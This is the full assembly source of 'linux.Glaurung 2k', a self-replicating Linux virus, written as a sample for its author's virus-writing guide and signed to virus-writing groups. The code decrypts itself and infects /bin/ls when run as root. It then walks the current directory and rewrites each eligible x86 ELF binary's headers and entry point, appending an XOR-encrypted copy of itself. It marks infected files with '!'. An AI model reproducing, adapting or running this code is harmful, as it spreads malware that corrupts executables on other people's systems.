;
;          linux.Glaurung 2k.666
;
;
;  This is a linux version of my other glaurung (dos) virus.
;  For thoses who didn't read the glaurung-dos description, 
;  Glaurung if the father of all dragons, and comes from the 
;  wonderfull book of JRR Tolkien ; Silmarillion .
;  
;  I love linux and I love to code vx stuff...
;  So.. things had to happen. 
;
;  This is an example for my linux virus writing guide.
;  You'll find all technical information in it.
;
;  It should be rather safe. It needs further testing. Any volonteer ?
;
;  Handshakes flying to 29A dudez, FS membrz, french vx ppl, iKX, lz0,
;   and the nice coderz from APJ.
;
;
;
;                                        -=%( mandragore/FS )%=-
;
;

global main

section .rdata		;  the return point for 1st gen.
bye:
	mov eax,1
	mov ebx,0
	int 80h

section .data
main:

;--------------------- virus entry point

bov:
	db 0beh
.adrboc dd .boc
	mov edi,esi
	mov ecx,virsiz/2
.decrypt:
	lodsw
        db 66h,35h                      ;  xor ax,
.xorval dw 0
	stosw
	loop .decrypt

.boc:

        db 0bah                         ;  mov edx,end of .bss section in memory
.eobss dd eov
        add edx,byte .movsb-bov+6       ;  that's for safety
        db 0beh                         ;  mov esi,addr of the end of virus code in memory
.Veov dd eov
	mov ecx,virsiz

	push byte 2dh
        pop eax                 ;  brk function
        mov ebx,edx             ;    we have to move the end of our segment 
        add ebx,ecx             ;    in order to make usable room for us.
	mov edi,ebx				
        cmp ebx,esi             ;  needed ? if not it may crash, so check.
        ja .k_brk               ;   crash if we set the limit before the end
        mov ebx,esi             ;   of the code section
.k_brk:
	add ebx,34h+6*20h+600h	;   add data space 
	int 80h

        cmp esi,edi             ;  edi=addr where we should relocate ourself
        jae .relocated          ;  do we need to do it ?
        std                     ;  movsb backward (and not overwrite ourself)
        inc ecx                 ;                - once again :)
	rep movsb
.movsb:	
	cld

	add edx,byte $-bov+5
        jmp edx                 ;  jmp to relocated code

.relocated:
	call .delta
.delta:
	pop ebp
        sub ebp,.delta          ;  kill all AV company on earth

        lea esi,[ebp+eov]       ;  set it now, it's used everywhere below

        db 0b8h                 ;  mov eax,real entry point in mem
.rentryp dd bye
        push eax                ;  ret to host is below..

	db 0bfh	                ;  mov edi,
.offoz dd 0                     ;  start addr in .bss to overwrite from
	db 0b9h                 ;  mov ecx,
.nboz dd 0                      ;  size of filed to annihilate
	xor eax,eax
        repz stosb              ;  clean

	lea ebx,[ebp+ls]
        call infect             ;  in case we're ran as root

	xor eax,eax
	mov ecx,eax
	add al,5
	lea ebx,[ebp+dir]
        int 80h                 ;  open current directory
	mov ebx,eax
	cdq
	inc edx
	jz .bye
.bcl_inf:
	push byte 59h
	pop eax
	mov ecx,esi
        int 80h                 ;  and get files
	or eax,eax
	jz .bye
	push ebx
	push esi
	mov ebx,esi
	add ebx,byte 10
        call infect             ;  try to slurp them
	pop esi
	pop ebx
	jmp short .bcl_inf

.bye:
	xor edx,edx
	ret	

;---------------  infection rutine

infect:
	push byte 5
	pop eax
	cdq
	mov ecx,edx
	mov cl,2
        int 80h                 ;  open r/w
	mov ebx,eax
	cdq
	inc edx
	jz .noinf_
	push byte 3
	pop eax
	cdq
	mov ecx,esi
	mov dl,34h+6*20h
        int 80h                 ;  read e_header + p_header

	cmp dword [esi],464c457fh	;  check for ELF exec
	jne .noinf_
	cmp byte [esi+7],'!'		;  check for infection mark
	je .noinf_
	cmp byte [esi+12h],3		;  check if x86 based
	jne .noinf_
        cmp word [esi+01ch],byte 34h    ;
        jne .noinf_                     ;
        cmp dword [esi+2ah],060020h     ;  check for regular e_header 
        jne .noinf_                     ;
	cmp word [esi+2eh],byte 28h	;
	je $+7
.noinf_:
	jmp near .noinf

	push byte 13h
	pop eax
	push eax
	cdq
	mov ecx,edx
	mov dl,2
        int 80h                         ;  get filesize (lseek at eof)

	push eax
	add eax,eov-bov
	mov edi,esi
	add edi,34h+3*20h+10h
	mov edx,[edi-12]
	sub eax,edx
        stosd                           ;  patch 2nd PT_LOAD p_entry
	cmp eax,[edi]
	ja $+4
	xchg eax,[edi]
	stosd
	mov eax,[edi-16]
	sub eax,edx
	pop edx
	add eax,edx
	push eax
	add eax,bov.boc-bov
	mov [ebp+bov.adrboc],eax
	add eax,virsiz-(bov.boc-bov)
	mov [ebp+bov.Veov],eax
	pop eax
        xchg [esi+18h],eax              ;  compute entry point
        mov [ebp+bov.rentryp],eax       ;  and store the old one
	mov byte [esi+7],'!'		;  mark as infected

        pop eax                 ;  13h
	push eax
	cdq
	xor ecx,ecx
	int 80h			;  lseek to bof
	add al,4
	mov ecx,esi
	mov dl,34h+6*20h
	int 80h			;  write e_header + p_header

	pop eax			;  13h
	mov ecx,[esi+20h]
	cdq
	int 80h			;  lseek to section headers
	push byte 3
	pop eax
	mov ecx,esi
	movzx edx,word [esi+30h]
	push edx
	imul edx,edx,byte 28h
	int 80h			;  read them
	mov ecx,[esp]
	mov edi,esi

; here we'll try to find the .bss section

.bclbss:
	cmp word [edi+4],8
	je .gotbss
	dec ecx
	jz .nobss
	add edi,byte 28h
	jmp short .bclbss
.nobss:
	mov eax,[ebp+bov.Veov]
	jmp short .writeob
.gotbss:
	mov eax,[edi+0ch]
	mov [ebp+bov.offoz],eax
	add eax,[edi+14h]
.writeob:
	mov [ebp+bov.eobss],eax
	
; now we need to find the highest relocation offset

	pop ecx
	mov edi,esi
.bclrel:
	cmp dword [edi+4],byte 9
	je .gotrel
	dec ecx
	jz .norel
	add edi,byte 28h
	jmp short .bclrel
.norel:
	mov edx,[ebp+bov.offoz]
	jmp short .setoz
.gotrel:
	push ecx
	push byte 13h
	pop eax
	cdq
	mov ecx,[edi+10h]
	int 80h
	pop ecx
	mov edx,[edi+14h]
	dec ecx
	jz .readrel
	add edi,byte 28h
.getrelsz:
	cmp dword [edi+4],byte 9
	jne .readrel
	add edx,[edi+14h]
	add edi,byte 28h
	dec ecx
	jnz .getrelsz
.readrel:
	push byte 3
	pop eax
	mov ecx,esi
	int 80h		;  read
	xchg ecx,edx
	shr ecx,2
	cdq
.bclgotmaxrel:	
	lodsd
	cmp eax,edx
	jb .nextrel
	mov edx,eax
.nextrel:
	loop .bclgotmaxrel
	add edx,byte 4
.setoz:
	lea edi,[ebp+bov.offoz]
	mov eax,[edi]
        cmp edx,eax                     ;  check if last reloc is below .bss
	jb $+6
	mov [edi],edx
	mov eax,edx
	mov edx,[ebp+bov.eobss]		;  eax = beg of zone to overwrite
        sub edx,eax                     ;  edx = eof .bss
	jnc .dontxor
.xorit:
	cdq
.dontxor:
	mov [ebp+bov.nboz],edx

; now proceed to ADN injetion

.inject:
	push byte 13h
	pop eax
	cdq
	push ebx
	mov dl,2
	int 80h			;  lseek at eof

	xor eax,eax
	mov ebx,eax
	add al,13
	int 80h			;  get xor val from time
	mov [ebp+.xorval],ax
	mov [ebp+bov.xorval],ax
	
	push esi
	push esi
	pop edx
	pop edi
	lea esi,[ebp+bov]
	mov ecx,virsiz/4
	rep movsd		;  copy vir after us in ram

	mov esi,edx
	add esi,byte bov.boc-bov
	mov edi,esi
	mov ecx,virsiz/2
.crypt:
	lodsw
	db 66h,35h		;  xor it
.xorval dw 0
	stosw
	loop .crypt

	mov ax,virsiz
	xchg ecx,edx
	pop ebx
	cwde
	xchg eax,edx
	add al,4
	int 80h			;  and write it

.noinf:
	push byte 6
	pop eax
	int 80h			;  close
.bye:
	ret

ls	db '/bin/ls',0
dir     db '.',0
	db 13,10
sig     db '[Glaurung 2k] by mandragore/FS'
eov:
virsiz equ eov-bov
